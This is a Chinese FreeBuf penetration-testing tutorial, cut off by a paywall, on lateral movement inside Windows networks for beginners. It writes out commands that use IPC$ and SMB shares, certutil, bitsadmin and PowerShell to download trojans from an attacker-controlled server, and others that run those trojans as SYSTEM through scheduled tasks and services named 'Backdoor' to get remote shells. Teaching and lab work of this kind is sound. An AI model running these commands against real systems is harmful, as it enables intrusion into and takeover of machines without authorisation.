freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

内网渗透测试 | 横向常见利用手法
quan9i 2023-11-03 14:18:38 248277

前言

本文旨在介绍内网横向的常见利用手法,希望能对初学内网的师傅有所帮助。

内网横向中的文件传输

通过网络共享

Windows系统中的网络共享功能可以实现局域网之间的文件共享。通过提供有效的用户凭据,用户可以轻松地将文件从一台机器传输到另一台机器。

执行net share指令,获得Windows系统默认开启的网络共享

image-20231030151249521

其中

C$为C盘共享
ADMIN$为系统共享目录
IPC$是共享"命名管道"的资源。

IPC,全称为Internet Process Connection,是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

建立IPC连接需要有两个条件,具体如下

1、远程主机开启了IPC连接
2、远程主机的139和445端口开放

默认情况下Windows的IPC以及139、445端口均是开放的,所以我们接下来来进行尝试连接。

连接指令如下所示

net use \\192.168.128.131\ipc$ "Qq123456." /user:"administrator"

此时就会以administrator的身份登录到192.168.128.131主机,其中,Qq123456.为管理员密码。

image-20231030160009668

此时可以发现连接完成,连接完成后,我们可以查看当前目录,也可以复制文件,具体指令如下

copy 1.txt \\IP\C$
//上传本机上的1.txt到目标机器的C盘下
dir \\IP\C$
//查看目标机器C盘下的文件目录

image-20231030175337528

当然,也可以查看当前在运行的进程,检测是否存在杀软

tasklist /s 192.168.128.131 /u administrator /p Qq123456.

image-20231030180710954

不过这个在有杀软的时候其实是执行不了命令的,执行dircopy指令都会被检测出来,然后自动中断IPC连接(使用火绒的时候是这样),还有存在防火墙的时候是无法执行tasklist的,所以记得执行命令前需要先关闭防火墙。

回到上文,既然可以上传txt文件,同理,我们可以上传exe文件,进而通过cs或msf等上线目标主机。

搭建SMB服务器

在实战环境下,如果我们不能连接目标主机的SMB服务,我们也可以在自己的服务器上搭建一个简易SMB服务器,将需要横向传输的文件(如木马文件)放入SMB服务器的共享目录,并指定UNC路径。然后通过操控目标主机连接服务器,使得目标主机可以加载SMB上的文件。

Linux搭建简易SMB服务器方式如下

首先下载Impacket下的smbserver.py脚本,其链接如下

https://github.com/fortra/impacket/blob/impacket_0_10_0/examples/smbserver.py

而后运行如下指令

mkdir /root/share
python smbserver.py evilsmb /root/share -smb2support

image-20231030153949058

接下来共享目录evilsmb就已经生成成功了,接下来执行连接指令

image-20231030181048252

此时可以发现成功执行指令,接下来假设1.txt是我们准备好的恶意文件,我们如何将他上传到目标主机呢,使用copy命令即可

copy \\IP\共享目录\文件名 2.txt

image-20231030181704010

成功上传。

通过WIndows自带工具

Certuil

Certuil是WIndows自带的命令行工具,用于管理Windows证书并作为证书服务的一部分安装。Certuil提供了从网络中下载文件的功能,我们可以在远程主机上执行Certuil命令,控制其下载预先部署在服务器上的恶意文件,如木马文件。

执行具体命令如下

首先在服务器上开启http服务,也可以用docker搭建ldap服务,这里方便起见,直接用python起一个http服务

image-20231030183515550

而后在目标主机上执行如下指令即可下载文件

certutil -urlcache -split -f http://192.168.1.1:8000/abc.exe C:\users\qwq\1.EXE

image-20231030183153603

可以发现成功上传了文件

BITSAdmin

BITSAdmin是Windows命令行工具,可以用于创建、下载或上传作业,监视其进度,WIndows7及之后版本自带此工具,具体利用指令如下

bitsadmin /transfer test http://IP:Port/shell.exe C:\users\shell.exe

image-20231030184217696

传输完成后即为上传完成

image-20231030184316460

Powershell

指令如下

(New-Object Net.WebClient).DownloadFile('http://IP:Port/shell.exe','C:\shell.exe')

image-20231030184742835

此时成功上传文件

创建计划任务

常规流程

我们可以通过已经建立的IPC连接,在远程主机上创建计划任务,进而让目标主机在规定的时间点或周期内执行特定操作。在拥有对方管理员凭据的条件下,可以通过计划任务实现横向移动,具体步骤如下:

1、利用已建立的共享连接向远程主机上传恶意文件(exe木马文件)
2、利用已建立的IPC连接或指定用户凭据的方式在远程主机上创建计划任务,执行指令如下
schtasks /Create /S IP /TN 计划任务名称 /SC minute /MO 1 /TR C:\shell.exe /RU System /F
#/S 要连接的系统 /TN 指定创建的计划任务名称 /SC 指定计划任务执行频率 /MO 指定计划任务执行周期 /TR 指定计划任务运行的程序路径 /RU 指定计划任务运行的用户权限 /F 如果指定的任务存在,则强制创建(覆盖)
注:如果没有IPC连接,在后面加上 /u 用户名 /p 密码 即可创建计划任务
3、立即启动该计划任务,其指令如下
    schtasks /RUN /S IP /I /TN 计划任务名称

具体示例如下

首先上传恶意文件,我上文上传过了,所以这里不再演示,接下来创建计划任务,具体指令如下

schtasks /Create /S 192.168.128.131 /TN Backdoor /SC minute /MO 1 /TR C:\shell.exe /RU System /F /U Administrator /p Qq123456.

image-20231030233627487

接下来执行计划任务,即可在攻击机上线

schtasks /RUN /S 192.168.128.131 /I /TN Backdoor

image-20231030233423036

成功上线

也可以通过计划任务执行系统指令,将结果写入到文件中,然后通过type进行远程文件读取。

具体指令如下

schtasks /Create /S 192.168.128.131 /TN Backdoor2 /SC minute /MO 1 /TR "C\Windows\System32\cmd.exe /c 'whoami' > C:\result.txt" /RU System /F /U Administrator /P Qq123456.

image-20231031001157872

接下来读取即可

type \\192.168.128.131\C$\result.txt

UNC路径加载执行

WIndows系统中使用UNC路径来访问网络共享资源,格式如下

\\servername\sharename\directory\filename

其中,servername是主机名,sharename是网络共享的名称,dircetory和filename分别为该目录下的目录和文件。

我们这里可以用自己的服务器来搭建SMB服务,并将恶意文件放置在SMB共享文件中,而后使用计划任务让目标主机访问即可。

实例如下:

首先搭建SMB服务,具体方式可参考上面搭建SMB服务器目录下的内容,这里不再演示

image-20231031155521600

搭建好之后即可在远程主机上创建计划任务,具体如下

schtasks /Create /S 192.168.128.131 /TN Backdoor /SC minute /MO 1 /TR \\192.168.1.4\evilsmb\abc.exe /RU System /F /U Administrator /P Qq123456.

image-20231031162717425

此时提示创建成功,接下来开启在服务器开启msf监听

image-20231031162816166

而后启动计划任务

schtasks /RUN /S 192.168.128.131 /I /TN Backdoor  /U Administrator /P Qq123456.

image-20231031162832796

此时即可成功上线

image-20231031162919085

利用系统服务

创建远程服务

除了计划任务,我们还可以在远程主机上创建系统服务,进而运行指定的程序或命令,该方式需要拥有两端主机的管理员权限和IPC$连接,具体操作如下:

1、利用已建立的IPC连接向目标主机上传恶意文件

2、利用已建立的IPC连接在远程主机上创建系统服务

示例如下:

前文已上传过恶意文件,这里直接创建系统服务,具体命令如下

sc \\192.168.128.131 create Backdoor binpath="cmd.exe /k C:\abc.exe"
#binpath,指定服务启动时运行的二进制文件,注意"="后需要有一个空格

image-20231031163516915

接下来运行指令,启动系统服务

sc \\192.168.128.131 start Backdoor

image-20231031163613502

此时虽然提示错误,但在msf上已成功上线。

攻击成功后,将创建的服务删除,指令如下

sc \\192.168.128.131 delete Backdoor

可试读前30%内容
¥ 9.9 全文查看
9.9元开通FVIP会员
畅读付费文章
最低0.3元/天
# 内网安全渗透测试
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 quan9i 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
内网从0到入门
利器
内网渗透
相关推荐
quan9i LV.5
一个什么也不会的fw
  • 28 文章数
  • 71 关注者
Fastjson从0到入门—基础篇
2024-01-21
内网渗透测试 | 实战打靶之春秋云镜双靶场
2023-12-07
内网渗透测试 | Kerberos协议及其部分攻击手法
2023-11-21
文章目录